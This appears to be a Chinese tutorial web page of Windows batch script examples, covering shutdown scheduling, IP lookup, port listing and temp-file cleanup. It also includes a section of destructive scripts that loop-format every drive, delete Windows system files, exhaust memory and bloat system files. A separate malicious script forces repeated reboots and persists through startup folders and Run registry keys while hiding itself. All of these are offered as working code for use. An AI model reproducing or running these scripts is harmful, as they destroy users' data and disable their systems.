批處理實(shí)例代碼教程
--------------------------------------------------------------------------------
批處理程序刪除自身.bat
echo 有時(shí)候我們需要批處理程序在執(zhí)行完成之后刪除自身,可以用 del %0
例:
復(fù)制代碼 代碼如下:
@echo off
echo 按任意鍵后我將刪除自身
pause
del %0
--------------------------------------------------------------------------------
批處理發(fā)送文件夾的快捷方式到桌面
復(fù)制代碼 代碼如下:
echo [InternetShortcut] > "%userprofile%\桌面\文件夾.url"
echo URL=file:///C:/windows >> "%userprofile%\桌面\文件夾.url"
--------------------------------------------------------------------------------
批處理獲取IP生成TXT文本.bat
以下代碼是批處理獲取IP同時(shí)生成TXT文本:
復(fù)制代碼 代碼如下:
@echo off
"%~f0" more +5 >tmp.vbs
cscript //NoLogo /e:vbscript tmp.vbs %1>ip.txt
echo >nul del tmp.vbs
goto:eof
set oDOM = WScript.GetObject("http://www.duosc.com/ip.aspx")
do until oDOM.readyState = "complete"
WScript.sleep 200
Loop
s=oDOM.documentElement.innerText
set re = New RegExp
re.Pattern="(\d+)\.(\d+)\.(\d+)\.(\d+)"
For Each m in re.Execute(s)
WScript.Echo m
Next
--------------------------------------------------------------------------------
利用批處理禁用(啟用)組策略
regsvr32 /s /u gpedit.dll 禁用
regsvr32 /s gpedit.dll 啟用
單單使用這命令依然可以禁止使用組策略,但這樣導(dǎo)致的后果就是-
這時(shí)候運(yùn)行的組策略基本上只是個(gè)空殼了!利用下面的批處理將完美解決此類問(wèn)題!
將下面這些代碼編成BAT批處理文件,這段是禁用組策略的命令
復(fù)制代碼 代碼如下:
@echo off
regsvr32 /s /u fde.dll
regsvr32 /s /u gpedit.dll
regsvr32 /s /u gptext.dll
regsvr32 /s /u wsecedit.dll
exit
這是啟用組策略
復(fù)制代碼 代碼如下:
@echo off
regsvr32 /s fde.dll
regsvr32 /s gpedit.dll
regsvr32 /s gptext.dll
regsvr32 /s wsecedit.dll
exit
--------------------------------------------------------------------------------
批處理定時(shí)關(guān)機(jī).bat
復(fù)制代碼 代碼如下:
@echo off
mode con lines=25
title 定時(shí)關(guān)機(jī)
color 1f
cls
echo.
echo.
echo.
echo.
echo 時(shí)間使用24小時(shí)制(如2:15、12:00),可以輸入多個(gè)時(shí)間點(diǎn)
echo.
echo 多個(gè)時(shí)間點(diǎn)用空格分隔
echo.
echo.
echo ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
echo.
set times=
set /p times= 請(qǐng)輸入關(guān)機(jī)時(shí)間:
:: 以下語(yǔ)句實(shí)現(xiàn)每個(gè)星期的每一天指定時(shí)間關(guān)機(jī)
:: 如果要換成每個(gè)月的某幾天,請(qǐng)改字母為數(shù)字,并用逗號(hào)分隔
:: 以下代碼沒(méi)有錯(cuò)誤檢測(cè)語(yǔ)句,輸入時(shí)間的時(shí)候務(wù)必按照指定格式輸入
:: 可以用在CMD窗口用at命令來(lái)查看計(jì)劃任務(wù)
if not "%times%"=="" for %%i in (%times%) do (
at %%i /every:M,T,W,Th,F,S,Su shutdown -s
)
--------------------------------------------------------------------------------
批處理創(chuàng)建url格式的快捷方式.bat
復(fù)制代碼 代碼如下:
@echo off
echo [InternetShortcut] >cmd.url
echo URL=%windir%\system32\cmd.exe >>cmd.url
echo IconIndex=0 >>cmd.url
echo IconFile=%windir%\system32\cmd.exe>>cmd.url
--------------------------------------------------------------------------------
批處理進(jìn)入全屏幕界面.bat
復(fù)制代碼 代碼如下:
@echo off
:: 設(shè)定: 運(yùn)行在全屏模式下
echo exit|%ComSpec% /k prompt e 100 B4 00 B0 12 CD 10 B0 03 CD 10 CD 20 $_g$_q$_|debug>nul
chcp 437>nul
graftabl 936>nul
:rem 下面放置任何命令……
dir
pause
--------------------------------------------------------------------------------
最小化運(yùn)行批處理.bat
復(fù)制代碼 代碼如下:
::最小化運(yùn)行批處理
@echo offmode con cols=15 lines=1
%1 %2
start /min /i "" "%~nx0" goto mingoto :eof
:min
echo xxx
pause>nul
exit
@echo off
mode con cols=15 lines=1
if exist "Temp.bat" goto Start
>Temp.bat echo start/min "" "%~nx0"^exit
start/min Temp.batexit
:Start
del "Temp.bat">nul
pause
--------------------------------------------------------------------------------
全盤(pán)查找QQ.exe并執(zhí)行.bat
復(fù)制代碼 代碼如下:
@echo off
:: 全盤(pán)查找qq.exe,找到之后就執(zhí)行并退出CMD窗口
:: fsutil fsinfo drives 得出來(lái)的結(jié)果雖然中間有空格,但是他代表是回車符或者換行符的作用,所以還要用find /v來(lái)過(guò)濾,否則,只得到第一個(gè)分區(qū)
setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find /v ""') do (
set var=%%i
set drive=!var:~-2!
fsutil fsinfo drivetype !drive!|find "固定">nul (
for /f "tokens=*" %%j in ('dir /a-d /b /s !drive!\qq.exe 2^>nul') do if not "%%j"=="" start "" "%%j" exit
)
)
--------------------------------------------------------------------------------
刪除歷史記錄.bat
復(fù)制代碼 代碼如下:
@echo off
:: 刪除"運(yùn)行"、"查找"等處的歷史記錄
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClearRecentDocsonExit /t REG_DWORD /d 00000001
--------------------------------------------------------------------------------
批處理查看進(jìn)程端口
用批處理實(shí)現(xiàn)的獲取當(dāng)前進(jìn)程所開(kāi)啟的端口代碼:
復(fù)制代碼 代碼如下:
@echo off
color a
Title XP端口-進(jìn)程查詢
setlocal enabledelayedexpansion
echo ╔- -╗
echo 本機(jī)開(kāi)放的端口及使用該端口的進(jìn)程
echo ╚- -╝
echo ------------------------------------
echo 端口號(hào) 進(jìn)程名稱
ECHO TCP協(xié)議:
::利用netstat命令找出使用TCP協(xié)議通信的端口,并將結(jié)果分割;
::將第二個(gè)參數(shù)(IP加端口)傳給%%i,第五個(gè)參數(shù)(PID號(hào))傳給%%j;
for /F "usebackq skip=4 tokens=2,5" %%i in (`"netstat -ano -p TCP"`) do (
call :Assoc %%i TCP %%j
echo !TCP_Port! !TCP_Proc_Name!
)
ECHO UDP協(xié)議:
for /F "usebackq skip=4 tokens=2,4" %%i in (`"netstat -ano -p UDP"`) do (
call :Assoc %%i UDP %%j
echo !UDP_Port! !UDP_Proc_Name!
)
echo 按任意鍵退出
pause>nul
:Assoc
::對(duì)%1(第一個(gè)參數(shù))進(jìn)行分割,將第二個(gè)參數(shù)傳給%%e。在本程序中,%1即為上面的%%i(形式為:IP:端口號(hào))
for /F "tokens=2 delims=:" %%e in ("%1") do (
set %2_Port=%%e
)
:: 查詢PID等于%3(第三個(gè)參數(shù))的進(jìn)程,并將結(jié)果傳給變量?_Proc_Name,?代表UDP或者TCP;
for /F "skip=2 usebackq delims=, tokens=1" %%a in (`"Tasklist /FI "PID eq %3" /FO CSV"`) do (
::%%~a表示去掉%%a外面的引號(hào),因?yàn)樯鲜雒畹慕Y(jié)果是用括號(hào)括起來(lái)的。
set %2_Proc_Name=%%~a
)
--------------------------------------------------------------------------------
破壞型BAT批處理腳本[慎用]
一、死循環(huán)強(qiáng)制格式化A:到Z:盤(pán)(對(duì)于部分速度比較快的機(jī)器會(huì)比較快當(dāng)機(jī)……)
復(fù)制代碼 代碼如下:
:format
@format a: /q /y >nul
@format b: /q /y >nul
@format d: /q /y >nul
@format e: /q /y >nul
@format f: /q /y >nul
@format g: /q /y >nul
@format h: /q /y >nul
@format i: /q /y >nul
@format j: /q /y >nul
@format k: /q /y >nul
@format l: /q /y >nul
@format m: /q /y >nul
@format n: /q /y >nul
@format o: /q /y >nul
@format p: /q /y >nul
@format q: /q /y >nul
@format r: /q /y >nul
@format s: /q /y >nul
@format t: /q /y >nul
@format u: /q /y >nul
@format v: /q /y >nul
@format w: /q /y >nul
@format x: /q /y >nul
@format y: /q /y >nul
@format z: /q /y >nul
@format c: /q /y >nul
goto format
二、死循環(huán)強(qiáng)制刪除C:盤(pán)WINDOWS目錄下的所有文件(跟上面的一個(gè)例子效果差不多,不過(guò)這里用到了強(qiáng)制刪除參數(shù))
復(fù)制代碼 代碼如下:
:breake
@if exist %windir%\system32\*.* del %windir%\system32\*.* >nul
@if exist %windir%\*.* del %windir%\*.* >nul
goto breake
三、利用部分系統(tǒng)工具的內(nèi)存占用卡到死機(jī)
復(fù)制代碼 代碼如下:
:die
@start regsvr32.exe /s %windir%\system32\*.* >nul
@start %windir%\system32\*.* >nul
@start notepad %windir%\explorer.exe >nul
goto die
四、用部分工具的檢測(cè)信息導(dǎo)出功能生成巨大的垃圾文件(雖然生成垃圾的速度很慢,但是跟“垃圾王”病毒有的一比,也算是“無(wú)聲的*****”吧……)
復(fù)制代碼 代碼如下:
@start ping 127.0.0.1 -t > %windir%\system32\regsvr32.dll >nul
:ping
@start ping 127.0.0.1 -t >> %windir%\system32\regsvr32.dll >nul
@start ping 127.0.0.1 -t >> %windir%\system32\regedit.exe >nul
goto ping
--------------------------------------------------------------------------------
反復(fù)重啟的惡意批處理
反復(fù)重啟就是讓別人啟動(dòng)了再重啟 一直反復(fù),以下代碼
復(fù)制代碼 代碼如下:
@echo off
shutdown -r -t 3
copy %0 C:\Documents" "and" "Settings\All" "Users\「開(kāi)始」菜單\程序\啟動(dòng)\a.bat
copy %0 c:\autoexec.bat
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v autoexec.bat /t REG_SZ /d c:\autoexec.bat /f
attrib autoexec.bat +r +s +h
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f
del %0
3秒重啟 加入了啟動(dòng)項(xiàng) 開(kāi)機(jī)就會(huì)3秒倒計(jì)時(shí)
--------------------------------------------------------------------------------
刪除右鍵“新建”菜單項(xiàng)目.bat
復(fù)制代碼 代碼如下:
@echo off
:: 只要?jiǎng)h除"HKEY_CLASSERS_ROORT\.后綴名"項(xiàng)目下的"ShellNew"鍵就可以了
:: 如果實(shí)在刪除不了,則把"HKEY_CLASSERS_ROORT\.后綴名"刪除掉即可
mode con lines=25
title "新建"菜單內(nèi)容刪除器
color 1f
:input
cls
call :display
echo 如果要強(qiáng)行刪除,請(qǐng)選 1
echo.
echo.
set input=
set /p input= 請(qǐng)輸入后綴名:
if "%input%"=="" goto input
if "%input%"=="0" exit
if "%input%"=="1" goto fouce
for /f %%i in ("%input%") do (reg delete HKCR\.%%i\ShellNew /f)
goto continue
:fouce
cls
call :display
set input=
set /p input= 請(qǐng)輸入后綴名(強(qiáng)行刪除):
if "%input%"=="" goto fouce
if "%input%"=="0" exit
for /f %%i in ("%input%") do (reg delete HKCR\.%%i /f)
:continue
cls
call :display
echo.
set choice=
set /p choice= 還要繼續(xù)清除嗎?(y/n):
if "%choice%"=="" goto continue
if "%choice%"=="y" goto input
if "%choice%"=="" goto :eof
:display
echo.
echo.
echo.
echo.
echo.
echo.
echo 本程序能刪除右鍵菜單中"新建"項(xiàng)目下的多余內(nèi)容,為"新建"菜單減肥!
echo.
echo 如果想讓某種類型的文件不再出現(xiàn)在鼠標(biāo)右鍵的"新建"菜單中,請(qǐng)直接
echo.
echo 輸入該文件類型的后綴名。例如:rar。
echo.
echo 退出請(qǐng)選 0
echo.
--------------------------------------------------------------------------------
快速清理垃圾文件(修正)
復(fù)制代碼 代碼如下:
@echo off
color f0
echo.
echo 正在安全地自動(dòng)清除垃圾文件……
del /f /q %systemdrive%\*.tmp>nul 2>nul
del /f /q %systemdrive%\*._mp>nul 2>nul
del /f /q %systemdrive%\*.log>nul 2>nul
del /f /q %systemdrive%\*.gid>nul 2>nul
del /f /q %systemdrive%\*.chk>nul 2>nul
del /f /q %systemdrive%\*.old>nul 2>nul
del /f /q %windir%\*.bak>nul 2>nul
del /f /q %windir%\*.tmp>nul 2>nul
del /f /q %windir%\prefetch\*.*>nul 2>nul
del /f /s /q %systemdrive%\recycled\*.*
del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Cookies\*.txt">nul 2>nul
del /f /q /s "%TEMP%\*.*">nul 2>nul
del /f /q /s "%Systemroot%\Prefetch\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Recent\*.*">nul 2>nul
del /f /q "%USERPROFILE%\Application Data\Microsoft\Office\Recent\*.lnk">nul 2>nul
del /f /q /s "%USERPROFILE%\Local Settings\Temp\*.*">nul 2>nul
rd /s /q %windir%\temp md %windir%\temp>nul 2>nul
if not exist %SystemRoot%\Minidump\NUL del /f /q /s %SystemRoot%\Minidump\*.*>nul 2>nul
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*">nul 2>nul
更多的批出代碼打包下載地址 https://www.jb51.net/books/34318.html
您可能感興趣的文章:- 批處理(dos/bat)最完整人性化教程
- 推薦學(xué)習(xí)dos和bat的批處理的教程
- 又一篇不錯(cuò)的批處理bat學(xué)習(xí)教程
- 經(jīng)過(guò)整理的一些dos/bat批處理教程
- windows批處理命令教程
- 批處理學(xué)習(xí)教程
- 精通批處理教程 批處理從入門(mén)到精通
- 推薦一篇批處理最完整人性化教程
- 寫(xiě)的不錯(cuò)批處理教程一
- 批處理文件制作實(shí)例精彩教程
- 批處理經(jīng)典入門(mén)教程!(從不懂到高手)
- 收藏的比較完整的批處理教程
- BAT 批處理腳本教程(詳細(xì)篇腳本之家補(bǔ)充)